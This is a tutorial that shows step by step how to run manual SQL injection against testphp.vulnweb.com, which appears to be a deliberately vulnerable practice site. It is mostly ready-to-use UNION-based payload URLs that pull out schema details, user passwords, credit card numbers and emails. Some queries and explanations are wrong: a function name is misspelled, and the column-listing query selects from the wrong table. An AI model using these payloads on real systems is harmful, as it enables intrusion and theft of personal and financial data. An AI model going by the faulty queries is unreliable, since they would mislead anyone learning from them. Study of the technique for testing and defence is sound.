Manual SQL Injection Exploitation Step by Step

This article is based on our previous article where you have learned different techniques to perform SQL injection manually using dhakkan. Today we are again performing SQL injection manually on a live website “vulnweb.com” in order to reduce your stress of installing setup of dhakkan.

We are going to apply same concept and techniques as performed in Dhakkan on different the platform

 Let’s begin!

Open given below targeted URL in the browser

http://testphp.vulnweb.com/artist.php?artist=1 So here we are going test SQL injection for “id=1

Now use error base technique by adding an apostrophe (‘) symbol at the end of input which will try to break the query.

http://testphp.vulnweb.com/artist.php?artist=1’

In the given screenshot you can see we have got error message which means the running site is infected by SQL injection.

Now using ORDER BY keyword to sort the records in ascending or descending order for id=1

http://testphp.vulnweb.com/artist.php?artist=1 order by 1

Similarly repeating for order 2, 3 and so on one by one

http://testphp.vulnweb.com/artist.php?artist=1 order by 2

http://testphp.vulnweb.com/artist.php?artist=1 order by 4

From screenshot you can see we have got error at order by 4 which means it consist only three records.

Let’s penetrate more inside using union base injection to select statement from different table.

http://testphp.vulnweb.com/artist.php?artist=1 union select 1,2,3

 From screenshot you can see it is show result for only one table not for others.

Now try to pass wrong input into database through URL by replacing artist=1 from artist=-1 as given below:

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,2,3

Hence you can see now it is showing the result for remaining two tables also.

Use next query to fetch the name of database

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,database(),3

From screen shot you can read the database name acuart

Next query will extract current username as well as version of database system

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,version(),cuurent_user()

Here we have retrieve 5.1.73 0ubuntu0 10.04.1 as version and acuart@localhost as current user

Through next query we will try to fetch table name inside the database

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1

from screenshot you can name of first table is carts.

Similarly repeat the same query for another table with slight change

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1

We got table 2: categ

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1

We got table 3: featured

Similarly repeat same query for table 4, 5, 6, and 7 with making slight changes in LIMIT.

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1

We got table 7: users

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1

Since we didn’t get anything when limit is set 8, 1 hence their might be 7 tables only inside the database.

concat function is use for concatenation of two or more string into single string.

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

From screen you can see through concat function we have successfully retrieve all table name inside the

database.

Table1: artist

Table2: Carts

Table3: Featured

Table4: Guestbook

Table5: Pictures

Table6: Product

Table7: users

May be we can get some important data from users table, so let’s penetrate more inside.  Again Use concat function for table users for retrieving its entire column names.

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(column_name),3 from users

Awesome!!  We successfully retrieve all eight column names from inside the table users.

Then I have choose only four column i.e. uname, pass,email and cc for further enumeration.

Use concat function for selecting uname from table users by executing following query through URL

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(uname),3 from users

From screenshot you can read uname: test

Use concat function for selecting pass from table users by executing following query through URL

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(pass),3 from users

From screenshot you can read pass: test

Use concat function for selecting cc (credit card) from table users by executing following query through URL

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(cc),3 from users

From screenshot you can read cc: 1234-5678-2300-9000

Use concat function for selecting email from table users by executing following query through URL

http://testphp.vulnweb.com/artist.php?artist=-1 union select 1,group_concat(email),3 from users

From screenshot you can read email: jitendra@panalinks.com

 Enjoy hacking!!